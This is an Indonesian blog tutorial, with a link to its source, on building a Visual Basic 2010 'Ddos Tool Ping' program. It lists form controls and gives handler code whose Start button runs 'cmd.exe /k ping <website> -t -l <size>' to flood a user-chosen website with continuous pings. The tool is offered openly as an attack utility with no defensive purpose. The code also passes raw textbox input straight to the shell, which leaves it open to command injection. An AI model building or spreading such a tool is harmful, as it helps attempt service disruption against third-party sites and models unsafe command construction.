Cara membuat Ddos Tool Ping dengan VB 2010

Perhatikan langkah-langkah berikut :

1. Buat lah project baru aturlah form sebagai berikut :

2.  Aturlah property sebagai berikut :

Nama Control	Property	Value
Form1	Text	Ddos Tool Ping
	Name	Form1
Label1	Text	Command
Label2	Text	Web Site
Label3	Text	Don't touach
Label4	Text	Select Number
PictureBox	-	-
TextBox1	-	-
TextBox2	-	-
TextBox3	-	-
ComboBox1	Text	50
	Items	50, 100, 200, 300, 400, 500
Button1	Text	Start Ddos
Button2	Text	Clear

3. Klik 2 kali button start Ddos kemudian masukan kode berikut :

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        Shell("cmd.exe /k" + TextBox1.Text + TextBox2.Text + TextBox3.Text + ComboBox1.Text, AppWinStyle.NormalFocus)

    End Sub

4. Klik 2 kali button Clear kemudian masukan kode berikut :

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click

        TextBox2.Text = ""

        ComboBox1.Text = ""

    End Sub

5. Klik 2 kali Form 1 kemudian masukan kode berikut :

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        TextBox1.Text = "ping "

        TextBox3.Text = " -t -l "

        ComboBox1.Text = "50"

        TextBox1.ReadOnly = True

        TextBox3.ReadOnly = True

    End Sub

6. Jalankan program maka akan tampilan output sebagai berikut :

Link Sumber : http://either-the-devil.blogspot.com/2014/12/cara-membuat-ddos-tool-ping-dengan-vb.html

Subscribe to receive free email updates: